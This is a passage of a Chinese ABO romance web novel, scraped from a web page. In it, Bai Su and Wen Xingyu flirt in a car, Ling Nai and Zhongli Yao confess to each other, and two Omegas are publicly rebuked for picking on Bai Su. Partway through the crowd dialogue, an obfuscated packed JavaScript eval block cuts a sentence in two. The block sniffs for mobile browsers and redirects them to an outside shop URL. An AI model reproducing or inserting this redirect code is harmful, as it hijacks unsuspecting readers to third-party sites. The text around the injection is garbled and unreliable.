检查结束后两人一同离开,刚上车闻行屿便急不可耐立刻从主驾驶位倾斜过去 整个上半身都贴在了白苏身上。 “哥哥,你要是不喜欢做那些实验,可以不答应的。”闻行屿知道,白苏都是为了他。 越是这么想,心跳加速就愈发无法抑制。 分明不喜欢,可是为了他,白苏什么也愿意。 白苏摇头:“我没事啦,文森特博士一直为我们忙前忙后的,我不太好意思拒绝他。而且如果能研究明白,对你的恢复更有帮助。” 人在说话时,一般都会下意识把重要的部分放在后面。 在“但是”和“而且”这种承接词转折词后的往往才是重点。 闻行屿深谙此道,所以点头;“我明白,哥哥都是为了我。” “哥哥对我真好,我只能以身相许。”闻行屿在白苏脖颈上蹭了蹭,仰头看他,轮廓分明的脸上满是温柔笑意。 白苏见他越贴越近,一只手已经扣住了自己后脑勺,顿时吓得差点咬到自己舌头:“你!这是车上,有人会从前挡风玻璃看到的” “看到又怎么了,”闻行屿猝不及防抬头啄他嘴唇两下,好似那给树治病的啄木鸟,“就要亲。” 白苏觉得闻行屿是颇有些恶趣味的。 如果自己越害羞,他就会越发变本加厉,手臂与胸膛像是蜜糖凝成的温暖牢笼,牢牢困着自己,又亲又抱,不论自己怎么求饶也不放开。 于是这次白苏决定反其道而行之,打闻行屿一个猝不及防。 如果自己主动亲闻行屿两下,闻行屿是不是就不会总是这样故意逗自己了? 白苏抱着试探的想法,抬高手臂环住对方肩膀,带着视死如归的心情低头,啜了闻行屿嘴唇一口。 亲的全程都闭着眼睛,完全不敢睁开去看闻行屿的反应。 “mua”的一声极其响亮,在安静的车厢里尤为清晰。 闻行屿唇瓣上仍旧残留着湿润的触感。 柔软的,微凉的。 白苏在主动亲他。 闻行屿一愣,表情难得出现了一丝怔愣。 而睁开眼的白苏便捕捉到了总是带着浅笑的黑发男人难得犹豫似乎宕机的一幕。 白苏顿时觉得自己真是太机智了。 闻行屿就是喜欢捉弄人,别人越逃,他就越要追,别人越害羞,他就越要逗弄别人,直到别人面红耳赤才罢休。 但如果他主动贴上去,闻行屿大概就会觉得无聊了吧? 也省得总是这样缠着自己 白苏这么想着,心里却有另一个声音在问:可是这样不是很好么?难道你希望他疏远你吗? 不,我从来没想过,让他疏远我。 白苏有些纠结,自己也搞不懂自己在想些什么了。 但闻行屿并没有给他继续多想的时间和空间:“我要记住今天。” “啊?”白苏不明所以。 闻行屿将他搂得更紧,在他唇瓣上啃咬许久,才含糊道:“今天是白苏哥哥第一次主动亲我!值得纪念!” 白苏被啃得嘴唇发酸,幻觉里自己的嘴唇已经变成了一段发肿的香肠:? “我现在就打电话给我秘书,让他把我游艇准备好,晚上我们庆祝一下吧!”闻行屿冲着白苏wink一下,喜悦之情溢于言表。 白苏伸出了尔康手:“不是,等会儿这有什么值得纪念的。” 奇怪,闻行屿不是应该觉得没趣了么! 怎么感觉他反而更加兴奋了啊! “哥哥”闻行屿喊白苏时尾音拖得长长的,看向白苏的目光更是灼热得像有火焰在其中跳动,“好想现在就暂时标记,但是还是留到晚上吧,嗯。” 白苏:? 暂时标记? 配合闻行屿这个表情,白苏觉得他说的应该并非用牙齿注入信息素在腺体里的那种暂时标记方法。 而闻行屿还在边舔舐白苏的耳垂,边说服自己:“白天那样太不合适了,而且还是在外面,我知道你不好意思” 说罢,他立刻启动汽车:“那我们现在就回去吧。” “那个,你每次都捉弄我,难道不是应该,在我主动之后,你就觉得没意思了吗?”白苏忍了许久,还是问出了口。 彼时闻行屿正在准备停车,窗外是高档小区的红砖三层小楼,满墙都是瑰丽的紫色花朵。 闻行屿侧头看他,对他提出的这个问题颇为不解:“没意思?” “我怎么会觉得没意思啊?”闻行屿摇头,“你主动的话我高兴还来不及呢。” 白苏措手不及,又被一记直球击中:“哦,是这样吗。” “那你以后可以多对我主动一点吗?有时候,我也担心你会不会其实是不喜欢这样的。”闻行屿停好车,熄火后两人便对坐在安静的车厢内。 窗外是明净灿烂的春日阳光,万物复苏,百花齐放,馥郁的花朵芬芳弥漫在空气里。 春风暖洋洋的,吹得人心醉。 闻行屿看着白苏,有些紧张地攥住了方向盘。 之前白苏虽然总是对他的要求从不拒绝,但闻行屿有时也会担心,白苏是否只是太过于宠溺他,而不是想和他成为那样更加亲密的关系。 可是如果白苏也主动了,那就说明他们之间的关系可以再近一点,距离可以再近一点。 直到负数的那种程度。 而白苏的回答是轻轻握住了他的手:“我会的,你不要担心。” 闻行屿笑了起来。 他的白苏哥哥,果然还是一点儿都不舍得他难过,一点儿都不舍得他吃苦,一点儿都不舍得他委屈。 白苏哥哥最好了。 *** “你刚才,干嘛说我是你男朋友啊!?” 男生低沉而带着羞恼的声音回荡在房间里,形成了双重回音。 随着他动作,另一个高大男生被一把推到了墙角,明晰的下颚线与鼻梁眉骨轮廓在阴影里更加分明。 昏暗室内灯光闪烁着,空间狭窄,堆放着各种枪械的配件与杂物。 钟离曜被凌奈堵在墙角,却并不生气,只是反问:“难道不是么?” 凌奈按在墙壁上的手重重一拍,发出巨大声响:“我什么时候成你男朋友了?我自己怎么不知道!” 屋外欢快而富有节奏韵律的舞曲旋律隐约隔着门板传入房间内,夹杂着年轻男生们说笑谈天时发出的笑声。 有人察觉到凌奈和钟离曜的缺席,奇怪道:“咦?奈奈他们去哪了?” “哎呀,你就别管人家小情侣的事情了,你啰嗦了,懂不。”立刻有人出来笑他,让他别多管闲事。 这是一场贵族男校内多个学院联合举办的活动,其中不乏战斗系学院。 凌奈是被朋友邀请所以才会过来,而钟离曜则是跟着凌奈过来的。 二十分钟前,在一个Beta当众搭讪钟离曜时被钟离曜严词拒绝了:“我有男朋友。” 包括凌奈在内的众人都傻眼了。 而在对方追问“男朋友是谁”时,钟离曜直接指向了凌奈:“我男朋友是凌奈,所以我不能给你联络方式,抱歉。” 所以此时此刻,钟离曜被凌奈抓着手腕拉进房间后,便出现了凌奈质问的一幕。 “我们经常牵手,每天都会互相道早安晚安,这些都是男朋友该做的事,”钟离曜一本正经道,“而且前几天,我们还亲了” 凌奈好似被踩了尾巴的猫般立刻蹦了起来,捂住钟离曜的嘴:“不要胡说八道啊!” 什么亲了!只是嘴唇碰一下也可以叫亲么! 不对。 嘴唇碰一下,好像确实也是亲嘴了。 昏暗灯光下,凌奈倔强的眼睛闪烁着动人心魄的光彩,紧抿着的唇下意识被他自己以门牙轻咬,看起来像只生气的小兔子。 虽然凌奈身材高大,生气时压迫感十足,但钟离曜却满心柔软,觉得这样的凌奈可爱得有些过分。 钟离曜心想:如果能再像之前那样,亲亲他,就好了。 如果现在亲他,他会生气吗? 应该不会的吧。 凌奈感受到掌心的温暖才看向钟离曜,却见对方往日总是古井无波的眼眸此时带着笑意,弯弯的,有个很浅的弧度。 钟离曜不爱笑,但是笑起来竟然是有漂亮卧蚕的。 “就算亲了,”凌奈清清嗓子,“也不能直接说明我们是男朋友关系吧。” “那要怎样才能说明?”钟离曜再次开口时声音带着压抑情欲的哑,沙沙的,性感得过分。 在暧昧的环境里,这样的声音就像是某种催化剂,刹那让空气都爆出火花,变得灼热起来。 凌奈犹豫着,不知道该怎么开口。 可下一刻,钟离曜便已经倾身覆了上来,两人颠倒了方向,他被压在墙角,嘴唇被对方仔细吮吻。 这是一个漫长,缱绻,又满怀柔情的吻。 充斥着珍惜和情意的吻。 凌奈刹那瞪大了眼睛,震惊下张开嘴却给了对方更多可趁之机。 湿润舌尖伸入,灵活舔舐凌奈尖尖的虎牙,扫过他光滑亮洁的牙齿侧面,缠绵地缠绕住他的舌尖。 像是鱼儿在嬉戏玩耍,舌尖你逃我追,在凌奈口腔里上演着追逐战。 唇瓣也被当成甜蜜糖果肆意啃咬,在原本淡色的果肉上留下一道道口水的湿痕与暧昧的痕迹。 许久后钟离曜终于舍得放开,银丝暧昧粘连在两人唇边,在灯光下闪着光。 凌奈几乎喘不上气来,偏头大口呼吸着,而钟离曜同样气息不稳,呼吸沉重:“这样,你会生气吗?” “什么?”凌奈嘴唇被吮得红肿,眼尾红红的像是哭了,“我” “嗯?”钟离曜似乎不想和他隔得太远,立刻又俯身上前,两人鼻尖抵在一处。 凌奈心一横,终于没再傲娇:“我干嘛生气。” “那我可以再亲一次么?”钟离曜以拇指摩擦着凌奈的下巴,开口时声音都在发抖。 “嗯。”凌奈闭上眼,脸颊耳朵都烫得好像烧起来了般。 又一个缱绻的吻告一段落,钟离曜有些不自在地往后退了两步,不想自己的反应被对方察觉:“你还没回答我的问题。” 但凌奈又何尝没有与对方相同的生理反应? 两人一个站在房间中央,另一个贴着墙角站着,静默无言。 凌奈的双手交叠在一起紧握着,说:“我觉得应该告白然后互相表达情意,才能确认关系吧?” 作为一个好战分子,凌奈其实并不知道谈恋爱应该怎么样,也不知道一段恋爱关系是如何开启的。 出生在地下角斗场,也注定了凌奈所见的伴侣关系都充斥着不忠、混乱以及各种背叛、利益算计。 凌奈并不知道一段关系该如何开始。 他所知道的很多人,都是看对眼了就可以当天就滚/上/床,但下床后又好像什么也没发生,之后甚至可以为了利益瞬间翻脸,像是仇人般互相厮杀暗算。 但凌奈并不喜欢这样的关系。 他想象中的恋爱关系,应该是纯净的、忠诚的、独一无二的、不可替代的。 就像钟离曜,在他心里的位置一样。 而钟离曜同样并不知道该如何开启恋爱,也并不知道一段感情该如何维系。 他只是凭借本能在亲近凌奈,对凌奈好,关心凌奈,保护凌奈。 最简单的喜欢和爱,无需任何技巧,只要用尽所有去付出,哪怕是飞蛾扑火。 所以此时听着凌奈的“感情观点发言”,钟离曜若有所思点了点头:“你说得对。” 凌奈不知该说什么,便生硬地应了一声:“嗯。” “凌奈。”钟离曜喊了他的名字,声音低沉而轻柔。 “我喜欢你,从入学那年就喜欢,你愿意让我做你的男朋友么?” 凌奈眼睛瞪大了,看着钟离曜。 往日总是冷淡寡言的男生此时看他的目光温柔得好似能够淬出水来,眼神里还藏着几分期待与不安,等待着他的回复。 凌奈眼眶发热:“把你这种不会说话的锯嘴葫芦逼得先告白,也算是我的本事了啊。” “钟离曜,我也喜欢你,从你喜欢我的时候就喜欢你了。” 凌奈三步并作两步跃向钟离曜,两人同时向对方敞开手臂,将对方彻底纳入自己的双臂间。 胸膛相贴,两颗带着爱意的心脏同频跳动着。 钟离曜抱着凌奈的手臂很紧,鼻尖在对方茂密发间蹭了蹭:“那现在我可以向别人介绍你是我男朋友了吗?” “当然。”凌奈笑着,在他唇上落下一个吻,“这是凌奈给你打的许可证印章,你可要留好了。” 钟离曜笑得眉眼弯弯:“好。” 15.第 15 章 “我靠,那个Alpha怎么替那个Beta说话啊?” “但你别说,那Beta长得挺漂亮的,跟那两个小O比完全不输啊。” “我也觉得,那个Beta长得好可爱,像布偶猫一样大眼睛好萌!” 一时之间,白苏所在的位置成了整个作战训练休息大厅的焦点。 白苏回头,身后那断眉深目的高大男生已经单臂搭在了他肩膀上,把于芥想要推他的手给掰开了。 “明明是你们先过来挑衅的,还恶人先告状了。”凌奈声音冷淡,又带着些许能让人察觉到的不爽。 于芥的手被打开,脸上一阵青一阵白:“...你谁啊,这么急着替他出头。” 他自诩消息灵通,当然也认出了眼前半搂着白苏替白苏出头的酷哥是凌奈。 但如果自己认识对方,对方却并不认识自己,这样太过于没面子,所以于芥只能假装不认识凌奈。 柳弦也认出了凌奈,立刻扯住于芥衣角,小声说:“哎呀都是误会,算了吧小芥。” 可柳弦的内心,早已经怨恨、愤怒、不甘混杂在一起,让他妒火中烧了。 原本他就厌恶白苏,而现在更是厌恶蔓延到了极点。 凭什么闻行屿开快艇截停船只就为了救这个Beta,现在又有Alpha为他出气?! 柳弦从小众星捧月,还从来没有哪个Alpha以这样敌对的姿态看着他过。 可现在,却因为一个Beta,他屡屡受到侮辱,现在更是当着这么多人的面丢脸、下不来台! 偏偏他还要维持自己的风轻云淡优雅人设,不能当众发火! 凌奈看出柳弦想找台阶下,但却不打算给对方台阶:“误会?是你们找到白医生面前一通羞辱,还想动手,看见有人来帮他就成误会了?” 凌奈性格直来直去,平日最看不惯的就是欺软怕硬的人。 事到如今,柳弦明白他们已经不能就此离开了。 今天他们和白苏之间的冲突,肯定会在学校里传开。 如果他灰溜溜走了,在今天以后,白苏的名声会响彻整个贵族男校,而他柳弦会沦为“两个Omega想欺负Beta,却有Alpha冲冠一怒为Beta”传闻里白苏的垫脚石。 于芥本来正想顺着柳弦台阶下,可见凌奈这副模样,又气上了:“大哥麻烦你搞清楚,我们是Omega,我们会没事来找一个Beta麻烦?而且你看他穿的衣服鞋子,要不是他有问题,我才懒得来找他呢。” 柳弦不赞同地皱起眉,心想自己这个闺蜜怎么能这么蠢! 他们上流社会的人看不起别人,可以大家心领神会,但绝不能这样直接说出来。 否则,就成了傲慢、高高在上的特权jieji。 柳弦视线落在凌奈半搂着白苏的护卫姿势上,忽然灵机一动。 他立刻打断了还想说话的于芥,说:“这位同学,你可能还不知道白医生和闻老师也走得很近,他...” 凌奈:?这人想说什么? 白苏:“...” 柳弦故意留白没有把话说完,留足了让凌奈遐想的空间。 看凌奈这样的姿势像是对白苏有好感,否则没必要和白苏有肢体接触,既然他们之间有交集,那如果告诉凌奈... 白苏是个水性杨花的人,不止和他一个人有密切接触呢? Alpha们大多占有欲十足,凌奈听见这句话肯定会对白苏的观感下降,甚至会因此和白苏翻脸的。 柳弦在心里偷笑:这Beta仗着自己有几分姿色就同时勾搭几个Alpha,也不怕人家发现之后一起把他甩了。 “原来你们也知道,他和我走得很近啊。” 男人声音低沉悦耳,像是名贵的大提琴奏响乐章。 柳弦一下就听出了这是谁的声音,惊得立刻回头看去! 是闻行屿! 高大的黑发男人站在训练室门口,宽肩窄腰,身材剪影完美得像是漫画里的人物。 黑色牛皮的作战靴利落敲在金属地板上,一下一下越来越近,像是敲在柳弦的心上。 “我刚才说过了,你们来这里我没意见,今天是开放日,谁来都可以。” 闻行屿微微附身凝视白苏片刻,确认他没受伤后才转过身面对柳弦和于芥,并将白苏挡在自己身后。 “但我也说了,别来烦我,也别惹白苏。你们是听不懂人话么?”闻行屿的脸色很差。 当闻行屿高大身躯将白苏挡在身后的那一刻,柳弦的心彻底凉了。 现场早已此起彼伏开始议论八卦了:“这Beta好大的神通,闻少和凌奈都替他说话!” “是啊,对面可是一直很受欢迎的柳弦啊。” “他到底什么来头啊?有懂哥知道的嘛?” “早就看不顺眼柳弦一直自称学院第一美人了,干脆让给这Beta当吧,嘻嘻。” 旁边好几个战斗系的学生跟着闻行屿过来,看见闻行屿此时表情都开始发怵。 要知道闻行屿平时是出了名的随和好相处,总是脸上带着笑容。 只有在对战状态时,闻行屿才会面容严肃,周身肃杀之气。 但此时,闻行屿散发着危险的气息,眼神也阴森得可怕。 柳弦身体开始发抖:完了,本来他还可以用老师作为借口压着凌奈,可是闻行屿一来,自己再也没有翻身的机会了! 就在长发O我见犹怜的无助时刻,远处走来了一个穿着绿色卫衣的Alpha:“闻行屿,你别太过分了!你不就是仗着柳老师喜欢你,你才这样不客气么!” 白苏一听这话简直要笑出声来:他敢肯定柳弦不想在这么多人面前被拆穿喜欢闻行屿,因为那样只会更丢脸。 而搭着白苏肩膀的凌奈也从鼻腔发出一声嘲笑:“...什么狗血剧情。” 绿色卫衣的Alpha也是艺术学院的老师,此前疯狂追求柳弦数月无果,今天听说柳弦又来看闻行屿就跟着过来了。 谁曾想,会正好看见闻行屿正在如此不客气地对他的心上人说话! 众目睽睽之下,绿色卫衣的Alpha立刻走到了柳弦身边搂着柳弦肩膀:“你拒绝柳老师的心意也就算了,为什么现在还要骂他!要知道,他做了那么多事情,他来这所学校,都是为了你啊!” 这番替柳弦剖白心意的行为,立刻又让现场发出一阵惊呼。 “我靠,原来只知道柳弦对闻行屿有意思,没想到竟然爱得这么深沉? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341887|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那闻行屿这样对他,他也太丢脸了吧...” “所以柳弦针对那个Beta,是因为闻行屿喜欢那个Beta,不喜欢自己?好没品啊。” “是啊,这是雌竞吧。” “亏柳弦还在社交媒体上说什么Omega和Beta要团结,Omega help Omega什么的,真是双标人两面派额...” 柳弦两眼一黑。 他可真是谢谢了啊!谢谢这SB当着这么多人面说出自己这么喜欢闻行屿! 他喜欢闻行屿,闻行屿却为了一个Beta这样骂他... 自己的脸被打得简直是啪啪响啊! “柳弦也有今天,喜欢的Alpha竟然因为一个Beta这样对他,哈哈!” “闻哥都说了让柳弦别惹那男生,柳弦还非要和他闺蜜去惹人家,这不是自找的么?” “他们确实一直很恶心,经常找闻行屿的其他追求者示威。” “没错!他们特别看不起Beta,哈哈,没想到这次踢到铁板了吧!” “活该!大快人心!” 柳弦脸一阵阵发烫,是因为感觉丢脸。 然而更让柳弦丢脸的还在后面。 因为往日总是带着散漫笑意的英俊男人沉着脸,低声说:“以后,不要让我在作战训练中心再看见你们,这里不欢迎你们。” 一石激起千层浪。 在这个世界,社会的风气就是要爱护Omega,所以大部分人对Omega都非常客气礼貌还额外照顾。 尤其是上流社会的Omega,那更是要星星要月亮都可以,拥有万千宠爱。 柳弦惊呆了。 闻行屿...竟然会这样跟他说话!当着所有人的面,让他以后不要来这里! 这与当众扇自己巴掌没有任何区别! 他从来没有被这样对待过! 围观的ABO群众们也都在议论纷纷,尤其是闻行屿的学生们一个个都精神抖擞开启了吃瓜状态。 “闻行屿平时对追求者都挺客气的,这次看来是真生气了。” “难道这Beta和闻哥真有情况?否则闻哥怎么会因为他不高兴。” 事已至此,柳弦早就顾不上之前想的如何劝退白苏的方法,满脸眼泪地拉着于芥灰溜溜跑了。 凌奈近距离看了一场闹剧,心想好在闻行屿也是站在小白医生这边的。 否则要是闹起来,他为了替小白医生出头,可就顾不上什么尊师重道了。 十九岁的男生身量高挑,俯视身旁的乖巧Beta时目光恰巧对上他带着红晕的白皙侧脸。 已经工作了,却还有婴儿肥吗? 凌奈挑眉,手却有些不受控制地伸过去,在那团软绵绵白里透粉的脸颊上捏了一下。 温暖的,柔软的,就像小白医生这个人一样。 白苏:! 他惊讶地侧身抬起头看凌奈,却得到了对方一个“捉弄成功”的痞气笑容。 凌奈觉得逗这Beta实在有趣,正想伸手捏第二下时,细长手指却突然被另一只大手攥住了。 “你在干嘛?”凌奈抬头,发现闻行屿就站在自己面前,面色不善地盯着自己。